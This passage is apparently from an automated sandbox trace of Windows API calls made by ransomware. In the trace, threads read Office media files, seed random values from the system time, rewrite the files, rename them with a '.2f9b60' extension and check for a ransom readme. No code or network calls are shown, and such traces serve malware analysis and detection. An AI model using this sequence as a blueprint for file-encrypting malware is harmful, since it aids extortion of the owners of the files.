liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.003] WriteFile (in: hFile=0x1ac0, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x23aff7f4, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x23aff7f4*=0x998, lpOverlapped=0x0) returned 1 [0132.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0132.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0132.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0132.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0132.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0132.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0132.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0132.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266a20 [0132.023] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.023] WriteFile (in: hFile=0x1ac0, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23aff910, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x23aff910*=0x10a, lpOverlapped=0x0) returned 1 [0132.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0132.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0132.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0132.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668a0) returned 1 [0132.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0132.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0132.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0132.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0132.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0132.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0132.031] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="05") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="a2") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="71") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="fd") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="8e") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="e6") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="c1") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="a2") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="94") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="a1") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="e0") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="95") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="81") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="15") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="43") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="fb") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="4a") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="5d") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="d8") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="c0") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="4b") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="a2") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="51") returned 2 [0132.031] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="02") returned 2 [0132.031] RtlInitAnsiString (in: DestinationString=0x23aff988, SourceString="05a271fd8ee6c1a294a1e095811543fb4a5dd8c04ba25102" | out: DestinationString="05a271fd8ee6c1a294a1e095811543fb4a5dd8c04ba25102") [0132.031] RtlAnsiStringToUnicodeString (in: DestinationString=0x23aff958, SourceString="05a271fd8ee6c1a294a1e095811543fb4a5dd8c04ba25102", AllocateDestinationString=1 | out: DestinationString="05a271fd8ee6c1a294a1e095811543fb4a5dd8c04ba25102") returned 0x0 [0132.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1cd0 [0132.032] wcscat (in: _Dest=0x20508450, _Source="05a271fd8ee6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05a271fd8ee6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05a271fd8ee6" [0132.032] wcscat (in: _Dest=0x20508450, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05a271fd8ee6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05a271fd8ee6.2f9b60" [0132.032] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05a271fd8ee6.2f9b60", NtPathName=0x23aff930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\05a271fd8ee6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8621a0 [0132.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8621a0) returned 1 [0132.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0132.033] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x23aff998, FileInformation=0x23aff9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23aff998, FileInformation=0x23aff9a8) returned 0x0 [0132.033] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x23aff998, FileInformation=0x23aff9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508450) returned 1 [0132.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0132.035] FlushFileBuffers (hFile=0x1ac0) returned 1 [0138.472] CloseHandle (hObject=0x1ac0) returned 1 [0138.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4a960 [0138.474] wcscpy (in: _Dest=0x1cf4a960, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0138.474] wcscat (in: _Dest=0x1cf4a960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0138.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0138.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a960) returned 1 [0138.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b460) returned 1 Thread: id = 1747 os_tid = 0x1754 [0132.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf")) returned 0x20 [0132.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF", dwFileAttributes=0x20) returned 1 [0132.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad0 [0132.027] GetFileSizeEx (in: hFile=0x1ad0, lpFileSize=0x2402f6c0 | out: lpFileSize=0x2402f6c0*=1466) returned 1 [0132.027] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x5b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.028] ReadFile (in: hFile=0x1ad0, lpBuffer=0x2402f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2402f688, lpOverlapped=0x0 | out: lpBuffer=0x2402f640*, lpNumberOfBytesRead=0x2402f688*=0x4, lpOverlapped=0x0) returned 1 [0132.073] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0132.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b10 [0132.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0132.073] NtQuerySystemTime (in: CurrentTime=0x2402f580 | out: CurrentTime=0x2402f580*=132462177373186000) returned 0x0 [0132.073] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x3589dc68 [0132.073] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x5cf4e516 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x42901251 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x61ac05b1 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x2eefb323 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x30bf5daf [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x431713ae [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x53e6e579 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x4d827248 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x3befb726 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x1985add0 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x17e84d56 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x3ed95fd7 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x85aed79 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x6934ecdd [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x68d4a73a [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x21eb171d [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x2f92918c [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x36cd9e3d [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x5a306580 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x4dcf2ea0 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x20d34aa5 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x58cdf527 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x5abbb62b [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0xc09e78d [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x675ebcbe [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x3c443200 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x24a043a4 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x7d8c0ca [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x659fc16a [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x30c70363 [0132.074] RtlRandomEx (in: Seed=0x2402f570 | out: Seed=0x2402f570) returned 0x7132d857 [0132.082] ReadFile (in: hFile=0x1ad0, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x5ba, lpNumberOfBytesRead=0x2402f570, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x2402f570*=0x5ba, lpOverlapped=0x0) returned 1 [0132.082] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.082] WriteFile (in: hFile=0x1ad0, lpBuffer=0x41f1b4e0*, nNumberOfBytesToWrite=0x5ba, lpNumberOfBytesWritten=0x2402f574, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesWritten=0x2402f574*=0x5ba, lpOverlapped=0x0) returned 1 [0132.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0132.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0132.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0132.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0132.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0132.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0132.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0132.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202668d0 [0132.087] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.087] WriteFile (in: hFile=0x1ad0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2402f690, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2402f690*=0x10a, lpOverlapped=0x0) returned 1 [0132.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0132.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0132.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0132.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b70) returned 1 [0132.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0132.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0132.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0132.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a50) returned 1 [0132.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0132.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0132.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0132.090] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="51") returned 2 [0132.090] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="24") returned 2 [0132.090] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="a9") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="9f") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="43") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="8f") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="72") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="5a") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="92") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="03") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="ee") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="fb") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="76") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="42") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="00") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="5b") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="a4") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="9a") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="ac") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="32") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="f6") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="68") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="46") returned 2 [0132.091] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="ad") returned 2 [0132.091] RtlInitAnsiString (in: DestinationString=0x2402f708, SourceString="5124a99f438f725a9203eefb7642005ba49aac32f66846ad" | out: DestinationString="5124a99f438f725a9203eefb7642005ba49aac32f66846ad") [0132.091] RtlAnsiStringToUnicodeString (in: DestinationString=0x2402f6d8, SourceString="5124a99f438f725a9203eefb7642005ba49aac32f66846ad", AllocateDestinationString=1 | out: DestinationString="5124a99f438f725a9203eefb7642005ba49aac32f66846ad") returned 0x0 [0132.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0132.092] wcscat (in: _Dest=0x20508450, _Source="5124a99f438f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5124a99f438f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5124a99f438f" [0132.092] wcscat (in: _Dest=0x20508450, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5124a99f438f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5124a99f438f.2f9b60" [0132.092] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5124a99f438f.2f9b60", NtPathName=0x2402f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5124a99f438f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8621a0 [0146.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8621a0) returned 1 [0146.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49cb0) returned 1 [0146.864] NtQueryInformationFile (in: FileHandle=0x1ad0, IoStatusBlock=0x2402f718, FileInformation=0x2402f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2402f718, FileInformation=0x2402f728) returned 0x0 [0146.864] NtSetInformationFile (FileHandle=0x1ad0, IoStatusBlock=0x2402f718, FileInformation=0x2402f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508450) returned 1 [0146.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0146.969] FlushFileBuffers (hFile=0x1ad0) returned 1 [0146.970] CloseHandle (hObject=0x1ad0) returned 1 [0146.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a980 [0146.996] wcscpy (in: _Dest=0x1b86a980, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.996] wcscat (in: _Dest=0x1b86a980, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a980) returned 1 [0146.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b4f0) returned 1 Thread: id = 1748 os_tid = 0xe7c [0132.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf")) returned 0x20 [0132.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF", dwFileAttributes=0x20) returned 1 [0133.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c28 [0134.556] GetFileSizeEx (in: hFile=0x1c28, lpFileSize=0x23edf860 | out: lpFileSize=0x23edf860*=1894) returned 1 [0134.556] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x762, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.556] ReadFile (in: hFile=0x1c28, lpBuffer=0x23edf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23edf828, lpOverlapped=0x0 | out: lpBuffer=0x23edf7e0*, lpNumberOfBytesRead=0x23edf828*=0x4, lpOverlapped=0x0) returned 1 [0134.580] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679b0 [0134.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0134.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a10 [0134.580] NtQuerySystemTime (in: CurrentTime=0x23edf720 | out: CurrentTime=0x23edf720*=132462177398146000) returned 0x0 [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x4668928e [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x3c6ea3b9 [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0xce0b9e3 [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x2da2b1a0 [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x122899cb [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x1ecaece [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x4797685e [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x1a45ea52 [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x51cd84b9 [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x20e2f4d [0134.580] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x704cfdb7 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x4cb82c11 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x5d5bb547 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x7b62a915 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x532f15a4 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x35e6660d [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x66a05ce2 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x4b3a4fa6 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x7a542fec [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x2f667150 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x93f0583 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x25d0151d [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x7cc0fff3 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x528cabe1 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x14b83b29 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x4e1ba806 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x6d580ee1 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x2c952bb [0134.581] RtlRandomEx (in: Seed=0x23edf710 | out: Seed=0x23edf710) returned 0x69f383e1 [0134.581] RtlRandomEx (in: Seed=0x23edf710 | 